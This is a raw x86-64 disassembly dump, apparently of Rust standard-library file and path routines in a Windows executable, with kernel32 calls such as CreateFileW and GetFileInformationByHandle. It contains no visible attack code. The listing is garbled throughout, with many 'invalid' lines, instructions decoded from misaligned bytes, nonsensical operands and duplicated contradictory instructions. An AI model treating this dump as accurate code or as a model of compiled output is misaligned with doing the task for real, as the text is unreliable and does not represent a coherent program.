movaps xmmword [rbp + 0xc0], xmm1
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xb0], eax
invalid
movaps xmmword [rbp + 0xb0], xmm0
add byte [rax - 0x75], cl
ror byte [r8 - 0x77], 1
invalid
mov rax, qword [rbp - 0x30]
mov qword [rbx + 0x30], rax
mov dword [rbx + 0x30], eax
mov dword [rbx + 0x30], eax
xor byte [r15], cl
xor byte [rdi], cl
movups xmm0, xmmword [rbp - 0x60]
adc byte [rbp - 0x60], al
movups xmm1, xmmword [rbp - 0x50]
adc byte [rbp - 0x50], cl
movups xmm2, xmmword [rbp - 0x40]
ror byte [rdi], 0x11
push rbx
and byte [rdi], cl
adc dword [rbx + 0x10], ecx
invalid
movups xmmword [rbx + 0x20], xmm2
movups xmmword [rbx + 0x10], xmm1
invalid
adc byte [rdi], cl
adc dword [rbx], eax
movups xmmword [rbx], xmm0
mov rcx, r12
loope case.0x1400db97b.103
mov rdx, rbx
mov edx, ebx
invalid
call fcn.1400d8a10
test al, al
inc dword [rax + rax*8 - 0x76b3d18c]
je case.0x1400dbb10.94
mov rcx, r13
mov ecx, ebp
jmp 0x12908500e
mov rdx, rdi
cli
call fcn.1400dcb40
add byte [rax], al
cmp byte [rbp - 0x28], 0xa
fmul dword [rdx]
jne 0x1400dc650
or byte [rax - 0x73], 0x8d
mov al, 0
add byte [rax], al
invalid
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
add byte [rax - 0x73], cl
push rbp
push 0x460e8
add al, 0
lea rdx, [rbp + 0x68]
lea edx, [rbp + 0x68]
call fcn.1400dcb40
cmp byte [rbp + 0xb0], 0xa
add byte [rax], al
invalid
add al, 0
add byte [rax + 0xb0bd], al
add byte [rax], al
add byte [rdx], cl
or cl, byte [rdi]
je case.0x1400d8ec4.170
test byte [rcx + rax], dh
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax - 0x77], 0xb58b48f1
int1
mov rsi, qword [rbp + 0xa8]
mov rdi, rsi
mov edi, esi
mov rcx, rsi
int1
mov rsi, qword [rbp + 0xa8]
mov esi, dword [rbp + 0xa8]
add byte [rax - 0x77], cl
mov rdx, rsi
call fcn.1400dc3b0
invalid
invalid
bnd call fcn.1400dc3b0
invalid
dec dword [rax - 0x77]
test dword [rax], esp
add dword [rax], eax
invalid
mov qword [rbp + 0x120], rax
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
test rax, rax
test eax, eax
je case.0x1400d8ec4.170
sgdt [rax]
add byte [rax - 0x77], cl
mov rbx, rax
mov rbx, rax
and eax, 3
lea rcx, [0x140178cd8]
or eax, 0x9c5b9
invalid
or dword [rax], eax
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
invalid
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
enter 0xffffffffffffe0ff, 0xf
jmp rax
mov dh, 0x43
adc bl, ch
adc r11b, bpl
jmp case.0x1400d8ec4.174
mov rcx, rbx
invalid
shr rcx, 0x20
and al, ch
call fcn.1400d6590
jmp case.0x1400d8ec4.174
invalid
push rsi
sahf
invalid
invalid
sub byte [rax - 0x77], cl
mov eax, ebx
fmul dword [rax - 0x3f]
call 0x169064a66
invalid
cmp eax, 0x28
clc
invalid
shr rax, 0x20
cmp eax, 0x28
clc
invalid
and byte [rbx - 0x78f0d708], al
mov byte [rdx], 0
add al, byte [rax]
clc
sub byte [rdi], cl
xchg esi, eax
invalid
ja 0x1400dca12
add al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0x9c595
xchg ebp, eax
invalid
or dword [rax], eax
lea rcx, [0x140178ce8]
lea ecx, [0x140178ce8]
invalid
or dword [rax], eax
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
loopne case.0x1400d8ec4.180
shr bl, 4
movzx eax, byte [rbx + 0xf]
mov dh, 0x43
invalid
jmp case.0x1400d8ec4.174
mov dh, 0x43
je 0x188463c29
test al, al
je case.0x1400d8aa8.161
invalid
je 0x188463c29
test al, al
sal byte [rax + rdi + 0x48], 0x8d
je case.0x1400d8aa8.161
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
mov al, 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rdi
add byte [rax], al
mov rdx, rdi
mov edx, edi
mov r8, rsi
mov eax, esi
call fcn.1400dce80
invalid
invalid
add byte [rbx + 0xb0bd], al
cmp dword [rbp + 0xb0], 2
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add dh, byte [rbp + 0x6d]
jne case.0x1400d8ec4.145
mov rax, qword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
test dword [rax + 0x48000000], edi
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
lea rcx, [rbp + 0x70]
lea ecx, [rbp + 0x70]
jo 0x1400dc7d7
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x70], eax
mov byte [rbp + 0x68], 1
push 0x6eb5e801
add eax, ebp
mov ch, 0x6e
call case.0x140019144.3166
jmp 0x1400dc823
add dword [rax], 0
invalid
outsb dx, byte [rsi]
invalid
invalid
add dword [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea esp, [rax]
invalid
lea rcx, [rbp + 0x120]
lea ecx, [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
add dword [rax], eax
add al, ch
invalid
call case.0x140019144.3166
lea rcx, [rbp + 0x120]
lea ecx, [rbp + 0x120]
lea esp, [rax]
add dword [rax], eax
invalid
movsb byte [rdi], byte [rsi]
outsb dx, byte [rsi]
invalid
dec dword [rax - 0x73]
lea esp, [rax]
and byte [rcx], al
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
add byte [rax], al
mov rdx, rdi
mov edx, edi
cli
mov r8, rsi
invalid
call fcn.1400d8190
movzx edx, byte [rbp + 0x120]
mov dh, 0x95
and byte [rcx], al
add byte [rax], al
invalid
dec dword [rdi]
mov dh, 0x95
xchg ebp, eax
and byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x130]
mov ecx, dword [rbp + 0x130]
lea esi, [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
test dword [rax + 1], eax
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
mov dl, 0xc5
lea r8, [0x140178d8c]
lea eax, [0x140178d8c]
add eax, 0x9c5b2
or dword [rax], eax
add byte [rbp + 0x63], cl
movsxd r9, dword [r8 + rdx*4]
invalid
or al, 0x90
add r9, r8
add ecx, eax
ror dword [rax - 0x77], 0xf2
mov rdx, rsi
mov edx, esi
mov r8, rdi
mov r8, rdi
clc
jmp r9
loope case.0x1400d8aa8.174
add rcx, 4
jmp case.0x1400d8e32.162
add al, 0xeb
jle 0x1400dc77c
invalid
mov edx, dword [rbp + 0xf0]
xchg ebp, eax
lock add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
test edx, 0x400
sete al
invalid
ret 0x400
add byte [rax + rax], al
add byte [rdi], cl
xchg esp, eax
sal bh, 0x85
hlt
test dword [rbp + 0xf4], 0x20000000
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], ah
invalid
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
sal esi, 0xc2
test dl, 0x10
je 0x1400dc823
adc cl, byte [rax]
sete cl
test dl, 0x10
je 0x1400dc823
invalid
ret 0x7410
adc cl, byte [rax]
or al, cl
enter 0xe74, 0x48
lea ecx, [rbp + 0x120]
lea esp, [rax]
add dword [rax], eax
add byte [rax], al
je 0x1400dc823
invalid
lea esp, [rax]
add dword [rax], eax
invalid
add byte [rax], al
add al, ch
invalid
call case.0x140019144.3166
outsb dx, byte [rsi]
invalid
xor ebx, ebx
fisttp dword [rax - 0x77]
mov rax, rbx
add rsp, 0x1e8
invalid
invalid
add dword [rax], eax
invalid
fmul dword [rax - 0x7f]
invalid
call 0x19b0dc82f
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
lea rdx, [rax + 1]
test rax, rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
invalid
invalid
invalid
cmove rdx, rax
add rcx, rdx
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
add rcx, 8
invalid
add rcx, 8
add ecx, 8
or bl, ch
jmp case.0x1400d8e32.162
and byte [rcx + 6], bh
mov ecx, 6
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
invalid
jmp case.0x1400d8e32.162
lea rdx, [rax + 1]
test rax, rax
test eax, eax
cmove rdx, rax
add rcx, rdx
add ecx, edx
add rcx, 2
jmp case.0x1400d8e32.162
add eax, 0x2b9
add byte [rax - 0x77], cl
mov rdx, rsi
sub rdx, rcx
mov ecx, 2
add byte [rax], al
mov rdx, rsi
mov edx, esi
sub rdx, rcx
jb 0x1400dcaa6
invalid
sub al, 2
add byte [rax], al
add rcx, rdi
stc
mov r8, rcx
test rdx, rdx
je 0x1400dc897
adc al, byte [rcx + 0xf]
mov dh, 0
invalid
movzx eax, byte [r8]
add byte [rdi + rbp], bh
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
xchg esp, eax
ror byte [rax], 0xc8
xchg esp, eax
ror byte [rax], 0xc8
jmp case.0x1400db908.101
xor eax, eax
ror byte [rax - 0x77], 0xbd
mov al, 0
add byte [rax], al
invalid
mov qword [rbp + 0xb0], rdi
add byte [rax - 0x77], cl
mov ch, 0xb8
add byte [rax], al
mov qword [rbp + 0xb8], rsi
add byte [rdi], cl
adc byte [rbp + 0x120], al
invalid
movups xmm0, xmmword [rbp + 0x120]
add byte [rdi], cl
adc byte [rbp + 0x130], cl
invalid
movups xmm1, xmmword [rbp + 0x130]
add byte [rdi], cl
adc dword [rbp + 0xc0], eax
invalid
movups xmmword [rbp + 0xc0], xmm0
add byte [rdi], cl
adc dword [rbp + 0xd0], ecx
add byte [rax], al
movups xmmword [rbp + 0xd0], xmm1
add byte [rax], al
add byte [rax - 0x75], cl
lea eax, [rax + 1]
add byte [rax], al
invalid
mov rcx, qword [rbp + 0x140]
add byte [rax - 0x77], cl
invalid
mov qword [rbp + 0xe0], rcx
add byte [rax + 0xea85], cl
add byte [rsi - 0x39], ah
invalid
invalid
test eax, ebp
add byte [rax], al
add byte [rax], al
invalid
mov byte [rbp + 0xea], al
mov word [rbp + 0xe8], 0x200
mov dword [rbp + 0xe8], 0x8d480200
add byte [rdx], al
add cl, byte [rax - 0x73]
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0xb0]
lea edx, [rbp + 0xb0]
push 0xffffffffb0958d48
add byte [rax], al
add al, ch
lea edx, [rbp + 0xb0]
xchg ebp, eax
mov al, 0
add byte [rax], al
call fcn.1400dcb40
movzx eax, byte [rbp + 0x68]
invalid
push rax
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x45
push 0xc750a3c
cmp al, 0xa
jne case.0x1400dbca2.66
lea rbx, str.failed_to_create_whole_tree
sbb eax, 0x6c671
jno case.0x1400db908.93
invalid
jmp 0x1400dc823
invalid
invalid
add al, 0xfa
cmp al, 3
ja 0x1400dc8f8
out dx, al
movzx eax, al
mov dh, 0xc0
dec rax
enter 0xffffffffffff8348, 0xfffffffffffffff8
cmp rax, 3
jae 0x1400dc8f8
clc
add esi, dword [rbx - 0x1e]
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
call fcn.1400d8b00
test rax, rax
invalid
faddp st(1)
invalid
sal byte [rcx + rdx*8 + 0x48], 0x89
shr eax, 0x51
push rcx
je 0x1400dc8f8
mov rcx, rax
mov ecx, eax
call case.0x1400d8095.178
mov rbx, rax
push rcx
sti
invalid
dec dword [rax - 0x77]
ret
test rax, rax
test eax, eax
ror byte [rdi], 0x85
call 0x1890dc93a
invalid
invalid
invalid
jne 0x1400dc823
invalid
dec dword [rax - 0x77]
stc
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
bnd call fcn.1400dc3b0
call fcn.1400dc3b0
push 0xfffffffffffffffa
cli
invalid
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
test dword [rax + 0x48000000], esi
mov al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
test eax, eax
ror byte [rdi], 0x84
retf
je case.0x1400d8ec4.170
test bl, cl
invalid
dec dword [rax - 0x77]
mov rbx, rax
mov ebx, eax
ret
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
mov edx, esi
bnd call fcn.1400dcfc0
call fcn.1400dcfc0
invalid
add byte [rax + rax*8 - 0x1487bf1], al
test al, al
ror byte [rdi], 0x84
je 0x1400dc823
mov bh, 0xfe
invalid
dec dword [rax - 0x73]
lea esi, [rax - 0x17000000]
mov al, 0
add byte [rax], al
invalid
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
add cl, ch
jmp case.0x1400a4d60.1017
movsb byte [rdi], byte [rsi]
invalid
invalid
mov al, 0x25
and eax, 0xfffde5e9
push qword [rax - 0x22116dd]
mov al, 0x23
invalid
fdivp st(5)
jmp case.0x1400d8ec4.174
in eax, 0xfd
invalid
mov al, 0x23
and ebp, ecx
jmp case.0x1400d8ec4.174
fdivp st(5)
invalid
mov al, 0x24
jmp case.0x1400d8ec4.174
xlatb
std
invalid
mov al, 0x1b
jmp case.0x1400d8ec4.174
sar ch, 1
invalid
mov al, 0x22
jmp case.0x1400d8ec4.174
leave
std
invalid
mov al, 0x10
jmp case.0x1400d8ec4.174
invalid
mov al, 0xe
jmp case.0x1400d8ec4.174
mov ebx, 0xb0fffffd
and ecx, ebp
invalid
push qword [rax - 0x24b16df]
mov al, 0x21
jmp case.0x1400d8ec4.174
mov ah, 0xfd
invalid
push qword [rax - 0x25216f5]
mov al, 0xb
jmp case.0x1400d8ec4.174
lodsd eax, dword [rsi]
std
invalid
mov al, 4
jmp case.0x1400d8ec4.174
cmpsb byte [rsi], byte [rdi]
std
invalid
mov al, 0x28
jmp case.0x1400d8ec4.174
lahf
std
invalid
mov al, 0xc
jmp case.0x1400d8ec4.174
cwde
std
invalid
push qword [rax - 0x26e16f7]
mov al, 9
jmp case.0x1400d8ec4.174
xchg ecx, eax
std
invalid
invalid
xchg ecx, eax
std
invalid
mov al, 0x19
jmp case.0x1400d8ec4.174
mov bh, ch
invalid
mov al, 0x18
jmp case.0x1400d8ec4.174
cmp ebp, 0xffffffff
push qword [rax - 0x28316fe]
mov al, 2
invalid
jl 0x1400dc9e3
invalid
mov al, 2
jmp case.0x1400d8ec4.174
jl 0x1400dc9e3
invalid
push qword [rax - 0x28a16f1]
mov al, 0xf
jmp case.0x1400d8ec4.174
jne 0x1400dc9ea
invalid
mov al, 3
jmp case.0x1400d8ec4.174
outsb dx, byte [rsi]
std
invalid
mov al, 7
invalid
jmp case.0x1400d8ec4.174
std
invalid
mov al, 1
jmp case.0x1400d8ec4.174
invalid
invalid
push qword [rax - 0x2a616e1]
mov al, 0x1f
jmp case.0x1400d8ec4.174
pop rcx
std
invalid
jmp case.0x1400d8ec4.174
push rdx
std
invalid
mov al, 0x29
sub ecx, ebp
jmp case.0x1400d8ec4.174
std
invalid
jmp case.0x1400d8ec4.174
std
invalid
jmp case.0x1400d8ec4.174
invalid
jmp case.0x1400d8ec4.174
invalid
or eax, 0xfffd2fe9
push qword [rax - 0x2d716fa]
jmp case.0x1400d8ec4.174
std
invalid
jmp case.0x1400d8ec4.174
invalid
jmp case.0x1400d8ec4.174
std
invalid
jmp case.0x1400d8ec4.174
invalid
or cl, ch
jmp case.0x1400d8ec4.174
adc edi, ebp
std
invalid
jmp case.0x1400d8ec4.174
invalid
invalid
invalid
invalid
invalid
cld
invalid
loop 0x1400dca7c
cld
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
mov edx, ebx
bnd retf
retf
mov edx, ebx
call fcn.1401082c0
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1401082c0
add al, byte [rax]
add al, byte [rax]
int3
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea rcx, [rbp + 0xb0]
call case.0x140019144.3166
call qword [rax + 0x28c48348]
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0x120]
lea esp, [rax]
add dword [rax], eax
add al, ch
sub byte [rbx - 1], ch
call qword [rax + 0x28c48348]
lea esp, [rax]
add dword [rax], eax
add al, ch
sub byte [rbx - 1], ch
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
invalid
std
add ecx, dword [rdi]
test byte [rbp + 0x48000002], bh
mov edi, edx
movzx eax, byte [rdx + 0x39]
cmp al, 3
sete dl
cmp r13b, al
seta cl
lea r15, [rbp - 0x57]
or cl, dl
cmp byte [rdi + 0x3a], 0
cmp al, byte [rax]
cmp al, byte [rax]
movzx edx, byte [rdi + 0x10]
mov byte [rbp + 0x27], dl
movzx r12d, dl
mov rdx, qword [rdi]
mov qword [rbp + 0x18], rdx
mov rbx, qword [rdi + 8]
je 0x1400dcc3d
add byte [rax], al
add byte [rax], al
test cl, cl
jne 0x1400dce2a
lea r14, [rbp - 0x60]
jmp case.0x1400db7f3.124
cmp al, 2
jne 0x1400dcd59
invalid
add dword [rax], eax
invalid
invalid
mov rcx, rdi
call case.0x1400d7661.69
cmp rbx, rax
jbe 0x1400dcbc0
movabs eax, dword [0xb60fd98948ffffc3]
test al, 0x41
movups xmm0, xmmword [rdi]
mov rcx, rbx
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rbp - 0x20], xmm0
loopne 0x1400dcc18
sub dword [rbp - 0x10], ecx
loopne 0x1400dcc18
sub dword [rbp - 0x10], ecx
invalid
invalid
movaps xmmword [rbp], xmm2
mov rdx, qword [r15 + 0x2f]
mov qword [rbp + 0xf], rdx
sub rcx, qword [rbp - 0x60]
jb 0x1400dce47
movabs al, byte [0x894800000225820f]
or byte [r10 + r9], r15b
cmp al, 0xa
mov qword [rdi + 8], rcx
cmp al, 0xa
or cl, byte [rdi]
test dword [rcx + 1], ebp
add byte [rax], al
jne 0x1400dcd97
mov al, 2
mov rbx, rcx
cmp r13b, al
jbe case.0x1400db7f3.124
xchg edi, eax
xchg edi, eax
jmp 0x1400dce2a
add dword [rax], eax
add byte [rcx + rcx*8 + 0x1e5850f], al
jne 0x1400dce2a
mov r14, rbx
jmp 0x1400dcc5f
test cl, cl
jne 0x1400dce2a
mov byte [rdi + 0x39], 1
mov al, 1
add dword [rax - 0x3ac7beff], esi
cmp r13b, al
ja 0x1400dce2a
cmp al, 1
je 0x1400dccd0
mov rcx, rdi
call case.0x1400d7661.69
cmp r14, rax
jbe 0x1400dcc50
lea rcx, [rbp - 0x60]
mov rdx, rdi
call fcn.1400d8f90
invalid
dec dword [rcx + rcx*4 - 0xd]
invalid
dec dword [rcx + rcx*4 - 0xd]
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r15]
test al, 0x41
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm1
sub dword [rbp - 0x10], ecx
sub dword [rbp - 0x10], ecx
invalid
movaps xmmword [rbp], xmm2
mov rcx, qword [r15 + 0x2f]
mov ecx, dword [rdi + 0x2f]
mov ecx, dword [rdi + 0x2f]
mov qword [rbp + 0xf], rcx
sub rbx, qword [rbp - 0x60]
jb 0x1400dce41
xchg byte [rcx], al
add byte [rax], al
mov qword [rdi + 8], rbx
cmp al, 0xa
or byte [rdx + rcx], bh
jne 0x1400dcd97
test eax, edx
add byte [rax], al
add byte [rax - 0x2176b6fe], dh
mov al, 2
mov r14, rbx
jmp case.0x1400db908.122
nop
mov byte [rdi + 0x39], 0
xor eax, eax
cmp r12d, 3
add byte [rcx], dh
rol byte [rcx - 0x7d], 0xfc
add ecx, dword [rdi]
invalid
invalid
jb case.0x1400db908.122
cmp r12d, 5
je case.0x1400db908.122
cmp r12d, 6
cmp esp, 6
jne 0x1400dcd8f
add byte [rax], al
test r14, r14
je 0x1400dcd24
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rax]
cmp r14, 1
je 0x1400dcd2e
cmp cl, 0x2e
jne 0x1400dcd2e
invalid
and ecx, dword [rax - 0x75]
sbb byte [r15], r9b
mov dh, 0x40
add dword [rbx + 0x2b742ff8], eax
mov rax, qword [rbp + 0x18]
movzx eax, byte [rax + 1]
cmp eax, 0x2f
je 0x1400dcd43
cmp eax, 0x5c
je 0x1400dcd43
xor eax, eax
jmp case.0x1400db908.122
invalid
xor r14d, r14d
xor eax, eax
jmp case.0x1400db908.122
xor eax, eax
cmp r14, 1
jne case.0x1400db908.122
cmp cl, 0x2e
jne case.0x1400db908.122
sub rbx, 1
jb 0x1400dce67
mov qword [rdi + 8], rbx
mov byte [rsi], 7
jmp 0x1400dce2d
add byte [rax], al
add byte [rax], al
movzx eax, al
test eax, eax
jne 0x1400dcd7d
mov eax, r12d
lea rcx, [0x140178da8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rdi + 0x39], 0
sub rbx, 1
jb 0x1400dce56
mov byte [rsi], 6
jmp 0x1400dce2d
mov byte [rsi], al
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
invalid
invalid
movaps xmm2, xmmword [rbp]
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
movups xmmword [rsi + 0x21], xmm2
mov rax, qword [rbp + 0xf]
mov qword [rsi + 0x30], rax
jmp 0x1400dce2d
invalid
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
cmove rdx, rcx
add rax, rdx
add rax, 8
jmp 0x1400dcdf1
and byte [rax - 0x75], cl
xor byte [r8 - 0x73], r9b
push rcx
add dword [rax - 0x7b], ecx
leave
cmove rdx, rcx
add rax, rdx
add rax, 2
test rax, rax
je 0x1400dce26
mov byte [rdi + 0x39], 3
mov rax, qword [rdi + 0x30]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rsi + 0x11], xmm1
movups xmmword [rsi + 1], xmm0
movzx eax, byte [rbp + 0x27]
mov byte [rsi], al
mov rax, qword [rbp + 0x18]
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rbx
jmp 0x1400dce2d
mov byte [rdi + 0x39], 3
mov byte [rsi], 0xa
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
mov rbx, r14
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.140108340
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.140108340
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.140108340
int3
mov eax, ebx
and eax, 3
cmp rax, 2
jb 0x1400dd177
cmp eax, 2
jne 0x1400dd177
mov rax, rbx
shr rax, 0x20
cmp rax, 5
je 0x1400dd0f8
cmp eax, 0x20
jne 0x1400dd177
mov qword [rbp + 0x240], rbx
lea rcx, [rbp + 0x228]
mov rdx, r15
mov r8, r14
call fcn.1400d9a20
mov rax, qword [rbp + 0x228]
mov r14, qword [rbp + 0x230]
cmp rax, r13
je 0x1400dd15e
mov rcx, qword [rbp + 0x238]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], rcx
lea rcx, [rbp + 0x210]
lea rdx, [rbp - 0x40]
call fcn.1400db160
mov r12, qword [rbp + 0x210]
mov r14, qword [rbp + 0x218]
add al, byte [rax]
add byte [rbp + 0x39], cl
in al, dx
add al, byte [rax]
add byte [rbp + 0x39], cl
in al, dx
jne 0x1400dd331
mov qword [rsi + 8], r14
mov dword [rsi + 8], esi
mov qword [rsi], 2
lea rcx, [rbp + 0x240]
add al, byte [rax]
add al, ch
invalid
add byte [rax], al
call case.0x140019144.3166
jmp 0x1400dd182
mov qword [rsi + 8], rbx
mov qword [rsi], 2
add rsp, 0x2d8
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
fmul dword [0x1420dd19d]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], 0
xor byte [rax], al
add byte [rax], al
invalid
xor byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add bh, al
and al, 0x20
add eax, dword [rax]
add byte [rax], al
mov dword [rsp + 0x20], 3
mov rcx, r12
mov ecx, esp
xor edx, edx
mov r8d, 7
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateFileW]
adc eax, 0x350ea
adc eax, 0x350ea
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
test ch, dh
add byte [rax], al
add byte [rax - 0x77], cl
ret
cmp rax, 0xffffffffffffffff
je 0x1400dd2c5
mov rbx, rax
test rdi, rdi
je 0x1400dd1ea
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
sub dword [rbp - 0x40], eax
sub dword [rbp - 0x40], eax
mov dword [rbp - 0x10], 0
lea rdx, [rbp - 0x40]
ror byte [rax - 0x77], 0xd9
ror byte [rax - 0x77], 0xd9
call qword [sym.imp.kernel32.dll_GetFileInformationByHandle]
test eax, eax
ror byte [rdi], 0x84
out 0, al
add byte [rax], al
ror byte [rdi], 0x84
out 0, al
add byte [rax], al
mov ecx, dword [rbp - 0x40]
xor eax, eax
test ecx, 0x400
rol dword [rax], 4
add byte [rax], al
rol dword [rax], 4
add byte [rax], al
je 0x1400dd265
mov qword [rbp + 0x228], 0
add byte [rax], al
add byte [rax], al
lea r8, [rbp + 0x228]
mov rcx, rbx
mov edx, 9
add al, byte [rax]
add byte [rax - 0x77], cl
fnstcw word [rdx + 9]
mov r9d, 8
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
test eax, eax
ror byte [rdi], 0x84
stosd dword [rdi], eax
add byte [rax], al
invalid
ror byte [rdi], 0x84
stosd dword [rdi], eax
add byte [rax], al
add byte [rbx + 0x22885], cl
add cl, al
loopne 0x1400dd26e
mov eax, dword [rbp + 0x228]
shl eax, 0x15
sar eax, 0x1f
and eax, dword [rbp + 0x22c]
test dword [rdx + rax], ebp
add byte [rax], al
test dword [rdx + rax], ebp
add byte [rax], al
mov ecx, dword [rbp - 0x40]
mov edx, dword [rbp - 0x1c]
mov r8d, dword [rbp - 0x24]
mov r9d, dword [rbp - 0x20]
shl r9, 0x20
or r9, rdx
mov edx, dword [rbp - 0x18]
mov r10d, dword [rbp - 0x10]
push rbp
invalid
mov r11d, dword [rbp - 0x14]
shl r11, 0x20
or r11, r10
mov qword [rsi], 1
mov qword [rsi + 8], r11
mov dword [rsi + 0x10], 1
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
adc al, 0xc7
sbb byte [rcx], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
invalid
invalid
movups xmmword [rsi + 0x20], xmm0
mov rdx, qword [rbp - 0x2c]
invalid
mov qword [rsi + 0x30], rdx
mov qword [rsi + 0x38], r9
loopne 0x1400dd2ba
push rbp
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
adc al, 0xc7
sbb byte [rcx], r8b
sbb byte [rcx], al
sbb byte [rcx], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
invalid
invalid
mov dword [rsi + 0x40], ecx
mov dword [rsi + 0x44], eax
jmp 0x1400dd314
mov dword [rbp + 0x24c], ebx
call qword [sym.imp.kernel32.dll_GetLastError]
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
retf
add cl, byte [rax - 0x7b]
dec dword [rdi]
test dl, ch
invalid
std
invalid
invalid
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
retf
invalid
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rbp - 0x77], cl
loopne 0x1400dd2f0
adc eax, 0x3506a
add cl, ch
sar ebp, cl
invalid
invalid
ror byte [rbp - 0x77], cl
loopne 0x1400dd2f0
add cl, ch
sar ebp, cl
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x35137
shl rax, 0x20
or rax, 2
